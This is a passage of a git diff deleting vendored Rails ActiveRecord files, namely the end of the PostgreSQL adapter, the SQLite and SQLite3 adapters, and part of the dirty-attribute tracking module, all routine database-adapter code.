-              SELECT setval('#{quoted_sequence}', (SELECT COALESCE(MAX(#{quote_column_name pk})+(SELECT increment_by FROM #{quoted_sequence}), (SELECT min_value FROM #{quoted_sequence})) FROM #{quote_table_name(table)}), false)
-            end_sql
-          else
-            @logger.warn "#{table} has primary key #{pk} with no default sequence" if @logger
-          end
-        end
-      end
-
-      # Returns a table's primary key and belonging sequence.
-      def pk_and_sequence_for(table) #:nodoc:
-        # First try looking for a sequence with a dependency on the
-        # given table's primary key.
-        result = query(<<-end_sql, 'PK and serial sequence')[0]
-          SELECT attr.attname, seq.relname
-          FROM pg_class      seq,
-               pg_attribute  attr,
-               pg_depend     dep,
-               pg_namespace  name,
-               pg_constraint cons
-          WHERE seq.oid           = dep.objid
-            AND seq.relkind       = 'S'
-            AND attr.attrelid     = dep.refobjid
-            AND attr.attnum       = dep.refobjsubid
-            AND attr.attrelid     = cons.conrelid
-            AND attr.attnum       = cons.conkey[1]
-            AND cons.contype      = 'p'
-            AND dep.refobjid      = '#{quote_table_name(table)}'::regclass
-        end_sql
-
-        if result.nil? or result.empty?
-          # If that fails, try parsing the primary key's default value.
-          # Support the 7.x and 8.0 nextval('foo'::text) as well as
-          # the 8.1+ nextval('foo'::regclass).
-          result = query(<<-end_sql, 'PK and custom sequence')[0]
-            SELECT attr.attname,
-              CASE
-                WHEN split_part(def.adsrc, '''', 2) ~ '.' THEN
-                  substr(split_part(def.adsrc, '''', 2),
-                         strpos(split_part(def.adsrc, '''', 2), '.')+1)
-                ELSE split_part(def.adsrc, '''', 2)
-              END
-            FROM pg_class       t
-            JOIN pg_attribute   attr ON (t.oid = attrelid)
-            JOIN pg_attrdef     def  ON (adrelid = attrelid AND adnum = attnum)
-            JOIN pg_constraint  cons ON (conrelid = adrelid AND adnum = conkey[1])
-            WHERE t.oid = '#{quote_table_name(table)}'::regclass
-              AND cons.contype = 'p'
-              AND def.adsrc ~* 'nextval'
-          end_sql
-        end
-
-        # [primary_key, sequence]
-        [result.first, result.last]
-      rescue
-        nil
-      end
-
-      # Returns just a table's primary key
-      def primary_key(table)
-        pk_and_sequence = pk_and_sequence_for(table)
-        pk_and_sequence && pk_and_sequence.first
-      end
-
-      # Renames a table.
-      def rename_table(name, new_name)
-        execute "ALTER TABLE #{quote_table_name(name)} RENAME TO #{quote_table_name(new_name)}"
-      end
-
-      # Adds a new column to the named table.
-      # See TableDefinition#column for details of the options you can use.
-      def add_column(table_name, column_name, type, options = {})
-        default = options[:default]
-        notnull = options[:null] == false
-
-        # Add the column.
-        execute("ALTER TABLE #{quote_table_name(table_name)} ADD COLUMN #{quote_column_name(column_name)} #{type_to_sql(type, options[:limit], options[:precision], options[:scale])}")
-
-        change_column_default(table_name, column_name, default) if options_include_default?(options)
-        change_column_null(table_name, column_name, false, default) if notnull
-      end
-
-      # Changes the column of a table.
-      def change_column(table_name, column_name, type, options = {})
-        quoted_table_name = quote_table_name(table_name)
-
-        begin
-          execute "ALTER TABLE #{quoted_table_name} ALTER COLUMN #{quote_column_name(column_name)} TYPE #{type_to_sql(type, options[:limit], options[:precision], options[:scale])}"
-        rescue ActiveRecord::StatementInvalid => e
-          raise e if postgresql_version > 80000
-          # This is PostgreSQL 7.x, so we have to use a more arcane way of doing it.
-          begin
-            begin_db_transaction
-            tmp_column_name = "#{column_name}_ar_tmp"
-            add_column(table_name, tmp_column_name, type, options)
-            execute "UPDATE #{quoted_table_name} SET #{quote_column_name(tmp_column_name)} = CAST(#{quote_column_name(column_name)} AS #{type_to_sql(type, options[:limit], options[:precision], options[:scale])})"
-            remove_column(table_name, column_name)
-            rename_column(table_name, tmp_column_name, column_name)
-            commit_db_transaction
-          rescue
-            rollback_db_transaction
-          end
-        end
-
-        change_column_default(table_name, column_name, options[:default]) if options_include_default?(options)
-        change_column_null(table_name, column_name, options[:null], options[:default]) if options.key?(:null)
-      end
-
-      # Changes the default value of a table column.
-      def change_column_default(table_name, column_name, default)
-        execute "ALTER TABLE #{quote_table_name(table_name)} ALTER COLUMN #{quote_column_name(column_name)} SET DEFAULT #{quote(default)}"
-      end
-
-      def change_column_null(table_name, column_name, null, default = nil)
-        unless null || default.nil?
-          execute("UPDATE #{quote_table_name(table_name)} SET #{quote_column_name(column_name)}=#{quote(default)} WHERE #{quote_column_name(column_name)} IS NULL")
-        end
-        execute("ALTER TABLE #{quote_table_name(table_name)} ALTER #{quote_column_name(column_name)} #{null ? 'DROP' : 'SET'} NOT NULL")
-      end
-
-      # Renames a column in a table.
-      def rename_column(table_name, column_name, new_column_name)
-        execute "ALTER TABLE #{quote_table_name(table_name)} RENAME COLUMN #{quote_column_name(column_name)} TO #{quote_column_name(new_column_name)}"
-      end
-
-      def remove_index!(table_name, index_name) #:nodoc:
-        execute "DROP INDEX #{quote_table_name(index_name)}"
-      end
-
-      def index_name_length
-        63
-      end
-
-      # Maps logical Rails types to PostgreSQL-specific data types.
-      def type_to_sql(type, limit = nil, precision = nil, scale = nil)
-        return super unless type.to_s == 'integer'
-
-        case limit
-          when 1..2;      'smallint'
-          when 3..4, nil; 'integer'
-          when 5..8;      'bigint'
-          else raise(ActiveRecordError, "No integer type has byte size #{limit}. Use a numeric with precision 0 instead.")
-        end
-      end
-
-      # Returns a SELECT DISTINCT clause for a given set of columns and a given ORDER BY clause.
-      #
-      # PostgreSQL requires the ORDER BY columns in the select list for distinct queries, and
-      # requires that the ORDER BY include the distinct column.
-      #
-      #   distinct("posts.id", "posts.created_at desc")
-      def distinct(columns, order_by) #:nodoc:
-        return "DISTINCT #{columns}" if order_by.blank?
-
-        # Construct a clean list of column names from the ORDER BY clause, removing
-        # any ASC/DESC modifiers
-        order_columns = order_by.split(',').collect { |s| s.split.first }
-        order_columns.delete_if &:blank?
-        order_columns = order_columns.zip((0...order_columns.size).to_a).map { |s,i| "#{s} AS alias_#{i}" }
-
-        # Return a DISTINCT ON() clause that's distinct on the columns we want but includes
-        # all the required columns for the ORDER BY to work properly.
-        sql = "DISTINCT ON (#{columns}) #{columns}, "
-        sql << order_columns * ', '
-      end
-
-      # Returns an ORDER BY clause for the passed order option.
-      #
-      # PostgreSQL does not allow arbitrary ordering when using DISTINCT ON, so we work around this
-      # by wrapping the +sql+ string as a sub-select and ordering in that query.
-      def add_order_by_for_association_limiting!(sql, options) #:nodoc:
-        return sql if options[:order].blank?
-
-        order = options[:order].split(',').collect { |s| s.strip }.reject(&:blank?)
-        order.map! { |s| 'DESC' if s =~ /\bdesc$/i }
-        order = order.zip((0...order.size).to_a).map { |s,i| "id_list.alias_#{i} #{s}" }.join(', ')
-
-        sql.replace "SELECT * FROM (#{sql}) AS id_list ORDER BY #{order}"
-      end
-
-      protected
-        # Returns the version of the connected PostgreSQL version.
-        def postgresql_version
-          @postgresql_version ||=
-            if @connection.respond_to?(:server_version)
-              @connection.server_version
-            else
-              # Mimic PGconn.server_version behavior
-              begin
-                query('SELECT version()')[0][0] =~ /PostgreSQL (\d+)\.(\d+)\.(\d+)/
-                ($1.to_i * 10000) + ($2.to_i * 100) + $3.to_i
-              rescue
-                0
-              end
-            end
-        end
-
-      private
-        # The internal PostgreSQL identifier of the money data type.
-        MONEY_COLUMN_TYPE_OID = 790 #:nodoc:
-
-        # Connects to a PostgreSQL server and sets up the adapter depending on the
-        # connected server's characteristics.
-        def connect
-          @connection = PGconn.connect(*@connection_parameters)
-          PGconn.translate_results = false if PGconn.respond_to?(:translate_results=)
-
-          # Ignore async_exec and async_query when using postgres-pr.
-          @async = @config[:allow_concurrency] && @connection.respond_to?(:async_exec)
-
-          # Money type has a fixed precision of 10 in PostgreSQL 8.2 and below, and as of
-          # PostgreSQL 8.3 it has a fixed precision of 19. PostgreSQLColumn.extract_precision
-          # should know about this but can't detect it there, so deal with it here.
-          money_precision = (postgresql_version >= 80300) ? 19 : 10
-          PostgreSQLColumn.module_eval(<<-end_eval)
-            def extract_precision(sql_type)  # def extract_precision(sql_type)
-              if sql_type =~ /^money$/       #   if sql_type =~ /^money$/
-                #{money_precision}           #     19
-              else                           #   else
-                super                        #     super
-              end                            #   end
-            end                              # end
-          end_eval
-
-          configure_connection
-        end
-
-        # Configures the encoding, verbosity, and schema search path of the connection.
-        # This is called by #connect and should not be called manually.
-        def configure_connection
-          if @config[:encoding]
-            if @connection.respond_to?(:set_client_encoding)
-              @connection.set_client_encoding(@config[:encoding])
-            else
-              execute("SET client_encoding TO '#{@config[:encoding]}'")
-            end
-          end
-          self.client_min_messages = @config[:min_messages] if @config[:min_messages]
-          self.schema_search_path = @config[:schema_search_path] || @config[:schema_order]
-
-          # Use standard-conforming strings if available so we don't have to do the E'...' dance.
-          set_standard_conforming_strings
-        end
-
-        # Returns the current ID of a table's sequence.
-        def last_insert_id(table, sequence_name) #:nodoc:
-          Integer(select_value("SELECT currval('#{sequence_name}')"))
-        end
-
-        # Executes a SELECT query and returns the results, performing any data type
-        # conversions that are required to be performed here instead of in PostgreSQLColumn.
-        def select(sql, name = nil)
-          fields, rows = select_raw(sql, name)
-          result = []
-          for row in rows
-            row_hash = {}
-            fields.each_with_index do |f, i|
-              row_hash[f] = row[i]
-            end
-            result << row_hash
-          end
-          result
-        end
-
-        def select_raw(sql, name = nil)
-          res = execute(sql, name)
-          results = result_as_array(res)
-          fields = []
-          rows = []
-          if res.ntuples > 0
-            fields = res.fields
-            results.each do |row|
-              hashed_row = {}
-              row.each_index do |cell_index|
-                # If this is a money type column and there are any currency symbols,
-                # then strip them off. Indeed it would be prettier to do this in
-                # PostgreSQLColumn.string_to_decimal but would break form input
-                # fields that call value_before_type_cast.
-                if res.ftype(cell_index) == MONEY_COLUMN_TYPE_OID
-                  # Because money output is formatted according to the locale, there are two
-                  # cases to consider (note the decimal separators):
-                  #  (1) $12,345,678.12
-                  #  (2) $12.345.678,12
-                  case column = row[cell_index]
-                    when /^-?\D+[\d,]+\.\d{2}$/  # (1)
-                      row[cell_index] = column.gsub(/[^-\d\.]/, '')
-                    when /^-?\D+[\d\.]+,\d{2}$/  # (2)
-                      row[cell_index] = column.gsub(/[^-\d,]/, '').sub(/,/, '.')
-                  end
-                end
-
-                hashed_row[fields[cell_index]] = column
-              end
-              rows << row
-            end
-          end
-          res.clear
-          return fields, rows
-        end
-
-        # Returns the list of a table's column names, data types, and default values.
-        #
-        # The underlying query is roughly:
-        #  SELECT column.name, column.type, default.value
-        #    FROM column LEFT JOIN default
-        #      ON column.table_id = default.table_id
-        #     AND column.num = default.column_num
-        #   WHERE column.table_id = get_table_id('table_name')
-        #     AND column.num > 0
-        #     AND NOT column.is_dropped
-        #   ORDER BY column.num
-        #
-        # If the table name is not prefixed with a schema, the database will
-        # take the first match from the schema search path.
-        #
-        # Query implementation notes:
-        #  - format_type includes the column size constraint, e.g. varchar(50)
-        #  - ::regclass is a function that gives the id for a table name
-        def column_definitions(table_name) #:nodoc:
-          query <<-end_sql
-            SELECT a.attname, format_type(a.atttypid, a.atttypmod), d.adsrc, a.attnotnull
-              FROM pg_attribute a LEFT JOIN pg_attrdef d
-                ON a.attrelid = d.adrelid AND a.attnum = d.adnum
-             WHERE a.attrelid = '#{quote_table_name(table_name)}'::regclass
-               AND a.attnum > 0 AND NOT a.attisdropped
-             ORDER BY a.attnum
-          end_sql
-        end
-
-        def extract_pg_identifier_from_name(name)
-          match_data = name[0,1] == '"' ? name.match(/\"([^\"]+)\"/) : name.match(/([^\.]+)/)
-
-          if match_data
-            rest = name[match_data[0].length..-1]
-            rest = rest[1..-1] if rest[0,1] == "."
-            [match_data[1], (rest.length > 0 ? rest : nil)]
-          end
-        end
-    end
-  end
-end
-
diff --git a/vendor/rails/activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb b/vendor/rails/activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb
deleted file mode 100644
index c6086a2f..00000000
--- a/vendor/rails/activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb
+++ /dev/null
@@ -1,34 +0,0 @@
-require 'active_record/connection_adapters/sqlite_adapter'
-
-module ActiveRecord
-  class Base
-    # sqlite3 adapter reuses sqlite_connection.
-    def self.sqlite3_connection(config) # :nodoc:
-      parse_sqlite_config!(config)
-
-      unless self.class.const_defined?(:SQLite3)
-        require_library_or_gem(config[:adapter])
-      end
-
-      db = SQLite3::Database.new(
-        config[:database],
-        :results_as_hash => true,
-        :type_translation => false
-      )
-
-      db.busy_timeout(config[:timeout]) unless config[:timeout].nil?
-
-      ConnectionAdapters::SQLite3Adapter.new(db, logger, config)
-    end
-  end
-
-  module ConnectionAdapters #:nodoc:
-    class SQLite3Adapter < SQLiteAdapter # :nodoc:
-      def table_structure(table_name)
-        @connection.table_info(quote_table_name(table_name)).tap do |structure|
-          raise(ActiveRecord::StatementInvalid, "Could not find table '#{table_name}'") if structure.empty?
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activerecord/lib/active_record/connection_adapters/sqlite_adapter.rb b/vendor/rails/activerecord/lib/active_record/connection_adapters/sqlite_adapter.rb
deleted file mode 100644
index 242f3f7e..00000000
--- a/vendor/rails/activerecord/lib/active_record/connection_adapters/sqlite_adapter.rb
+++ /dev/null
@@ -1,454 +0,0 @@
-# encoding: binary
-require 'active_record/connection_adapters/abstract_adapter'
-
-module ActiveRecord
-  class Base
-    class << self
-      # Establishes a connection to the database that's used by all Active Record objects
-      def sqlite_connection(config) # :nodoc:
-        parse_sqlite_config!(config)
-
-        unless self.class.const_defined?(:SQLite)
-          require_library_or_gem(config[:adapter])
-
-          db = SQLite::Database.new(config[:database], 0)
-          db.show_datatypes   = "ON" if !defined? SQLite::Version
-          db.results_as_hash  = true if defined? SQLite::Version
-          db.type_translation = false
-
-          message = "Support for SQLite2Adapter and DeprecatedSQLiteAdapter has been removed from Rails 3. "
-          message << "You should migrate to SQLite 3+ or use the plugin from git://github.com/rails/sqlite2_adapter.git with Rails 3."
-          ActiveSupport::Deprecation.warn(message)
-
-          # "Downgrade" deprecated sqlite API
-          if SQLite.const_defined?(:Version)
-            ConnectionAdapters::SQLite2Adapter.new(db, logger, config)
-          else
-            ConnectionAdapters::DeprecatedSQLiteAdapter.new(db, logger, config)
-          end
-        end
-      end
-
-      private
-        def parse_sqlite_config!(config)
-          if config.include?(:dbfile)
-            ActiveSupport::Deprecation.warn "Please update config/database.yml to use 'database' instead of 'dbfile'"
-          end
-
-          config[:database] ||= config[:dbfile]
-          # Require database.
-          unless config[:database]
-            raise ArgumentError, "No database file specified. Missing argument: database"
-          end
-
-          # Allow database path relative to RAILS_ROOT, but only if
-          # the database path is not the special path that tells
-          # Sqlite to build a database only in memory.
-          if Object.const_defined?(:RAILS_ROOT) && ':memory:' != config[:database]
-            config[:database] = File.expand_path(config[:database], RAILS_ROOT)
-          end
-        end
-    end
-  end
-
-  module ConnectionAdapters #:nodoc:
-    class SQLiteColumn < Column #:nodoc:
-      class <<  self
-        def string_to_binary(value)
-          value = value.dup.force_encoding(Encoding::BINARY) if value.respond_to?(:force_encoding)
-          value.gsub(/\0|\%/n) do |b|
-            case b
-              when "\0" then "%00"
-              when "%"  then "%25"
-            end
-          end
-        end
-
-        def binary_to_string(value)
-          value = value.dup.force_encoding(Encoding::BINARY) if value.respond_to?(:force_encoding)
-          value.gsub(/%00|%25/n) do |b|
-            case b
-              when "%00" then "\0"
-              when "%25" then "%"
-            end
-          end
-        end
-      end
-    end
-
-    # The SQLite adapter works with both the 2.x and 3.x series of SQLite with the sqlite-ruby drivers (available both as gems and
-    # from http://rubyforge.org/projects/sqlite-ruby/).
-    #
-    # Options:
-    #
-    # * <tt>:database</tt> - Path to the database file.
-    class SQLiteAdapter < AbstractAdapter
-      class Version
-        include Comparable
-
-        def initialize(version_string)
-          @version = version_string.split('.').map(&:to_i)
-        end
-
-        def <=>(version_string)
-          @version <=> version_string.split('.').map(&:to_i)
-        end
-      end
-
-      def initialize(connection, logger, config)
-        super(connection, logger)
-        @config = config
-      end
-
-      def adapter_name #:nodoc:
-        'SQLite'
-      end
-
-      def supports_ddl_transactions?
-        sqlite_version >= '2.0.0'
-      end
-
-      def supports_migrations? #:nodoc:
-        true
-      end
-
-      def supports_primary_key? #:nodoc:
-        true
-      end
-
-      def requires_reloading?
-        true
-      end
-
-      def supports_add_column?
-        sqlite_version >= '3.1.6'
-      end
- 
-      def disconnect!
-        super
-        @connection.close rescue nil
-      end
-
-      def supports_count_distinct? #:nodoc:
-        sqlite_version >= '3.2.6'
-      end
-
-      def supports_autoincrement? #:nodoc:
-        sqlite_version >= '3.1.0'
-      end
-
-      def native_database_types #:nodoc:
-        {
-          :primary_key => default_primary_key_type,
-          :string      => { :name => "varchar", :limit => 255 },
-          :text        => { :name => "text" },
-          :integer     => { :name => "integer" },
-          :float       => { :name => "float" },
-          :decimal     => { :name => "decimal" },
-          :datetime    => { :name => "datetime" },
-          :timestamp   => { :name => "datetime" },
-          :time        => { :name => "time" },
-          :date        => { :name => "date" },
-          :binary      => { :name => "blob" },
-          :boolean     => { :name => "boolean" }
-        }
-      end
-
-
-      # QUOTING ==================================================
-
-      def quote_string(s) #:nodoc:
-        @connection.class.quote(s)
-      end
-
-      def quote_column_name(name) #:nodoc:
-        %Q("#{name.to_s.gsub('"', '""')}")
-      end
-
-
-      # DATABASE STATEMENTS ======================================
-
-      def execute(sql, name = nil) #:nodoc:
-        catch_schema_changes { log(sql, name) { @connection.execute(sql) } }
-      end
-
-      def update_sql(sql, name = nil) #:nodoc:
-        super
-        @connection.changes
-      end
-
-      def delete_sql(sql, name = nil) #:nodoc:
-        sql += " WHERE 1=1" unless sql =~ /WHERE/i
-        super sql, name
-      end
-
-      def insert_sql(sql, name = nil, pk = nil, id_value = nil, sequence_name = nil) #:nodoc:
-        super || @connection.last_insert_row_id
-      end
-
-      def select_rows(sql, name = nil)
-        execute(sql, name).map do |row|
-          (0...(row.size / 2)).map { |i| row[i] }
-        end
-      end
-
-      def begin_db_transaction #:nodoc:
-        catch_schema_changes { @connection.transaction }
-      end
-
-      def commit_db_transaction #:nodoc:
-        catch_schema_changes { @connection.commit }
-      end
-
-      def rollback_db_transaction #:nodoc:
-        catch_schema_changes { @connection.rollback }
-      end
-
-      # SELECT ... FOR UPDATE is redundant since the table is locked.
-      def add_lock!(sql, options) #:nodoc:
-        sql
-      end
-
-
-      # SCHEMA STATEMENTS ========================================
-
-      def tables(name = nil) #:nodoc:
-        sql = <<-SQL
-          SELECT name
-          FROM sqlite_master
-          WHERE type = 'table' AND NOT name = 'sqlite_sequence'
-        SQL
-
-        execute(sql, name).map do |row|
-          row['name']
-        end
-      end
-
-      def columns(table_name, name = nil) #:nodoc:
-        table_structure(table_name).map do |field|
-          SQLiteColumn.new(field['name'], field['dflt_value'], field['type'], field['notnull'].to_i == 0)
-        end
-      end
-
-      def indexes(table_name, name = nil) #:nodoc:
-        execute("PRAGMA index_list(#{quote_table_name(table_name)})", name).map do |row|
-          index = IndexDefinition.new(table_name, row['name'])
-          index.unique = row['unique'].to_i != 0
-          index.columns = execute("PRAGMA index_info('#{index.name}')").map { |col| col['name'] }
-          index
-        end
-      end
-
-      def primary_key(table_name) #:nodoc:
-        column = table_structure(table_name).find {|field| field['pk'].to_i == 1}
-        column ? column['name'] : nil
-      end
-
-      def remove_index!(table_name, index_name) #:nodoc:
-        execute "DROP INDEX #{quote_column_name(index_name)}"
-      end
-
-      def rename_table(name, new_name)
-        execute "ALTER TABLE #{name} RENAME TO #{new_name}"
-      end
-
-      # See: http://www.sqlite.org/lang_altertable.html
-      # SQLite has an additional restriction on the ALTER TABLE statement
-      def valid_alter_table_options( type, options)
-        type.to_sym != :primary_key
-      end
-
-      def add_column(table_name, column_name, type, options = {}) #:nodoc:
-        if supports_add_column? && valid_alter_table_options( type, options )
-          super(table_name, column_name, type, options)
-        else
-          alter_table(table_name) do |definition|
-            definition.column(column_name, type, options)
-          end
-        end
-      end
-
-      def remove_column(table_name, *column_names) #:nodoc:
-        raise ArgumentError.new("You must specify at least one column name.  Example: remove_column(:people, :first_name)") if column_names.empty?
-        column_names.flatten.each do |column_name|
-          alter_table(table_name) do |definition|
-            definition.columns.delete(definition[column_name])
-          end
-        end
-      end
-      alias :remove_columns :remove_column
-
-      def change_column_default(table_name, column_name, default) #:nodoc:
-        alter_table(table_name) do |definition|
-          definition[column_name].default = default
-        end
-      end
-
-      def change_column_null(table_name, column_name, null, default = nil)
-        unless null || default.nil?
-          execute("UPDATE #{quote_table_name(table_name)} SET #{quote_column_name(column_name)}=#{quote(default)} WHERE #{quote_column_name(column_name)} IS NULL")
-        end
-        alter_table(table_name) do |definition|
-          definition[column_name].null = null
-        end
-      end
-
-      def change_column(table_name, column_name, type, options = {}) #:nodoc:
-        alter_table(table_name) do |definition|
-          include_default = options_include_default?(options)
-          definition[column_name].instance_eval do
-            self.type    = type
-            self.limit   = options[:limit] if options.include?(:limit)
-            self.default = options[:default] if include_default
-            self.null    = options[:null] if options.include?(:null)
-          end
-        end
-      end
-
-      def rename_column(table_name, column_name, new_column_name) #:nodoc:
-        unless columns(table_name).detect{|c| c.name == column_name.to_s }
-          raise ActiveRecord::ActiveRecordError, "Missing column #{table_name}.#{column_name}"
-        end
-        alter_table(table_name, :rename => {column_name.to_s => new_column_name.to_s})
-      end
-
-      def empty_insert_statement(table_name)
-        "INSERT INTO #{table_name} VALUES(NULL)"
-      end
-
-      protected
-        def select(sql, name = nil) #:nodoc:
-          execute(sql, name).map do |row|
-            record = {}
-            row.each_key do |key|
-              if key.is_a?(String)
-                record[key.sub(/^"?\w+"?\./, '')] = row[key]
-              end
-            end
-            record
-          end
-        end
-
-        def table_structure(table_name)
-          execute("PRAGMA table_info(#{quote_table_name(table_name)})").tap do |structure|
-            raise(ActiveRecord::StatementInvalid, "Could not find table '#{table_name}'") if structure.empty?
-          end
-        end
-
-        def alter_table(table_name, options = {}) #:nodoc:
-          altered_table_name = "altered_#{table_name}"
-          caller = lambda {|definition| yield definition if block_given?}
-
-          transaction do
-            move_table(table_name, altered_table_name,
-              options.merge(:temporary => true))
-            move_table(altered_table_name, table_name, &caller)
-          end
-        end
-
-        def move_table(from, to, options = {}, &block) #:nodoc:
-          copy_table(from, to, options, &block)
-          drop_table(from)
-        end
-
-        def copy_table(from, to, options = {}) #:nodoc:
-          options = options.merge(:id => (!columns(from).detect{|c| c.name == 'id'}.nil? && 'id' == primary_key(from).to_s))
-          create_table(to, options) do |definition|
-            @definition = definition
-            columns(from).each do |column|
-              column_name = options[:rename] ?
-                (options[:rename][column.name] ||
-                 options[:rename][column.name.to_sym] ||
-                 column.name) : column.name
-              
-              @definition.column(column_name, column.type,
-                :limit => column.limit, :default => column.default,
-                :null => column.null)
-            end
-            @definition.primary_key(primary_key(from)) if primary_key(from)
-            yield @definition if block_given?
-          end
-
-          copy_table_indexes(from, to, options[:rename] || {})
-          copy_table_contents(from, to,
-            @definition.columns.map {|column| column.name},
-            options[:rename] || {})
-        end
-
-        def copy_table_indexes(from, to, rename = {}) #:nodoc:
-          indexes(from).each do |index|
-            name = index.name
-            if to == "altered_#{from}"
-              name = "temp_#{name}"
-            elsif from == "altered_#{to}"
-              name = name[5..-1]
-            end
-
-            to_column_names = columns(to).map(&:name)
-            columns = index.columns.map {|c| rename[c] || c }.select do |column|
-              to_column_names.include?(column)
-            end
-
-            unless columns.empty?
-              # index name can't be the same
-              opts = { :name => name.gsub(/_(#{from})_/, "_#{to}_") }
-              opts[:unique] = true if index.unique
-              add_index(to, columns, opts)
-            end
-          end
-        end
-
-        def copy_table_contents(from, to, columns, rename = {}) #:nodoc:
-          column_mappings = Hash[*columns.map {|name| [name, name]}.flatten]
-          rename.inject(column_mappings) {|map, a| map[a.last] = a.first; map}
-          from_columns = columns(from).collect {|col| col.name}
-          columns = columns.find_all{|col| from_columns.include?(column_mappings[col])}
-          quoted_columns = columns.map { |col| quote_column_name(col) } * ','
-
-          quoted_to = quote_table_name(to)
-          @connection.execute "SELECT * FROM #{quote_table_name(from)}" do |row|
-            sql = "INSERT INTO #{quoted_to} (#{quoted_columns}) VALUES ("
-            sql << columns.map {|col| quote row[column_mappings[col]]} * ', '
-            sql << ')'
-            @connection.execute sql
-          end
-        end
-
-        def catch_schema_changes
-          return yield
-        rescue ActiveRecord::StatementInvalid => exception
-          if exception.message =~ /database schema has changed/
-            reconnect!
-            retry
-          else
-            raise
-          end
-        end
-
-        def sqlite_version
-          @sqlite_version ||= SQLiteAdapter::Version.new(select_value('select sqlite_version(*)'))
-        end
-
-        def default_primary_key_type
-          if supports_autoincrement?
-            'INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL'.freeze
-          else
-            'INTEGER PRIMARY KEY NOT NULL'.freeze
-          end
-        end
-    end
-
-    class SQLite2Adapter < SQLiteAdapter # :nodoc:
-      def rename_table(name, new_name)
-        move_table(name, new_name)
-      end
-    end
-
-    class DeprecatedSQLiteAdapter < SQLite2Adapter # :nodoc:
-      def insert(sql, name = nil, pk = nil, id_value = nil)
-        execute(sql, name = nil)
-        id_value || @connection.last_insert_rowid
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activerecord/lib/active_record/dirty.rb b/vendor/rails/activerecord/lib/active_record/dirty.rb
deleted file mode 100644
index 1db8fef6..00000000
--- a/vendor/rails/activerecord/lib/active_record/dirty.rb
+++ /dev/null
@@ -1,183 +0,0 @@
-module ActiveRecord
-  # Track unsaved attribute changes.
-  #
-  # A newly instantiated object is unchanged:
-  #   person = Person.find_by_name('uncle bob')
-  #   person.changed?       # => false
-  #
-  # Change the name:
-  #   person.name = 'Bob'
-  #   person.changed?       # => true
-  #   person.name_changed?  # => true
-  #   person.name_was       # => 'uncle bob'
-  #   person.name_change    # => ['uncle bob', 'Bob']
-  #   person.name = 'Bill'
-  #   person.name_change    # => ['uncle bob', 'Bill']
-  #
-  # Save the changes:
-  #   person.save
-  #   person.changed?       # => false
-  #   person.name_changed?  # => false
-  #
-  # Assigning the same value leaves the attribute unchanged:
-  #   person.name = 'Bill'
-  #   person.name_changed?  # => false
-  #   person.name_change    # => nil
-  #
-  # Which attributes have changed?
-  #   person.name = 'bob'
-  #   person.changed        # => ['name']
-  #   person.changes        # => { 'name' => ['Bill', 'bob'] }
-  #
-  # Before modifying an attribute in-place:
-  #   person.name_will_change!
-  #   person.name << 'by'
-  #   person.name_change    # => ['uncle bob', 'uncle bobby']
-  module Dirty
-    DIRTY_SUFFIXES = ['_changed?', '_change', '_will_change!', '_was']
-
-    def self.included(base)
-      base.attribute_method_suffix *DIRTY_SUFFIXES
-      base.alias_method_chain :write_attribute, :dirty
-      base.alias_method_chain :save,            :dirty
-      base.alias_method_chain :save!,           :dirty
-      base.alias_method_chain :update,          :dirty
-      base.alias_method_chain :reload,          :dirty
-
-      base.class_attribute :partial_updates
-      base.partial_updates = true
-
-      base.send(:extend, ClassMethods)
-    end
-
-    # Do any attributes have unsaved changes?
-    #   person.changed? # => false
-    #   person.name = 'bob'
-    #   person.changed? # => true
-    def changed?
-      !changed_attributes.empty?
-    end
-
-    # List of attributes with unsaved changes.
-    #   person.changed # => []
-    #   person.name = 'bob'
-    #   person.changed # => ['name']
-    def changed
-      changed_attributes.keys
-    end
-
-    # Map of changed attrs => [original value, new value].
-    #   person.changes # => {}
-    #   person.name = 'bob'
-    #   person.changes # => { 'name' => ['bill', 'bob'] }
-    def changes
-      changed.inject({}) { |h, attr| h[attr] = attribute_change(attr); h }
-    end
-
-    # Attempts to +save+ the record and clears changed attributes if successful.
-    def save_with_dirty(*args) #:nodoc:
-      if status = save_without_dirty(*args)
-        changed_attributes.clear
-      end
-      status
-    end
-
-    # Attempts to <tt>save!</tt> the record and clears changed attributes if successful.
-    def save_with_dirty!(*args) #:nodoc:
-      status = save_without_dirty!(*args)
-      changed_attributes.clear
-      status
-    end
-
-    # <tt>reload</tt> the record and clears changed attributes.
-    def reload_with_dirty(*args) #:nodoc:
-      record = reload_without_dirty(*args)
-      changed_attributes.clear
-      record
-    end
-
-    private
-      # Map of change <tt>attr => original value</tt>.
-      def changed_attributes
-        @changed_attributes ||= {}
-      end
-
-      # Handle <tt>*_changed?</tt> for +method_missing+.
-      def attribute_changed?(attr)
-        changed_attributes.include?(attr)
-      end
-
-      # Handle <tt>*_change</tt> for +method_missing+.
-      def attribute_change(attr)
-        [changed_attributes[attr], __send__(attr)] if attribute_changed?(attr)
-      end
-
-      # Handle <tt>*_was</tt> for +method_missing+.
-      def attribute_was(attr)
-        attribute_changed?(attr) ? changed_attributes[attr] : __send__(attr)
-      end
-
-      # Handle <tt>*_will_change!</tt> for +method_missing+.
-      def attribute_will_change!(attr)
-        changed_attributes[attr] = clone_attribute_value(:read_attribute, attr)
-      end
-
-      # Wrap write_attribute to remember original attribute value.
-      def write_attribute_with_dirty(attr, value)
-        attr = attr.to_s
-
-        # The attribute already has an unsaved change.
-        if changed_attributes.include?(attr)
-          old = changed_attributes[attr]
-          changed_attributes.delete(attr) unless field_changed?(attr, old, value)
-        else
-          old = clone_attribute_value(:read_attribute, attr)
-          changed_attributes[attr] = old if field_changed?(attr, old, value)
-        end
-
-        # Carry on.
-        write_attribute_without_dirty(attr, value)
-      end
-
-      def update_with_dirty
-        if partial_updates?
-          # Serialized attributes should always be written in case they've been
-          # changed in place.
-          update_without_dirty(changed | (attributes.keys & self.class.serialized_attributes.keys))
-        else
-          update_without_dirty
-        end
-      end
-
-      def field_changed?(attr, old, value)
-        if column = column_for_attribute(attr)
-          if column.number? && column.null && (old.nil? || old == 0) && value.blank?
-            # For nullable numeric columns, NULL gets stored in database for blank (i.e. '') values.
-            # Hence we don't record it as a change if the value changes from nil to ''.
-            # If an old value of 0 is set to '' we want this to get changed to nil as otherwise it'll
-            # be typecast back to 0 (''.to_i => 0)
-            value = nil
-          else
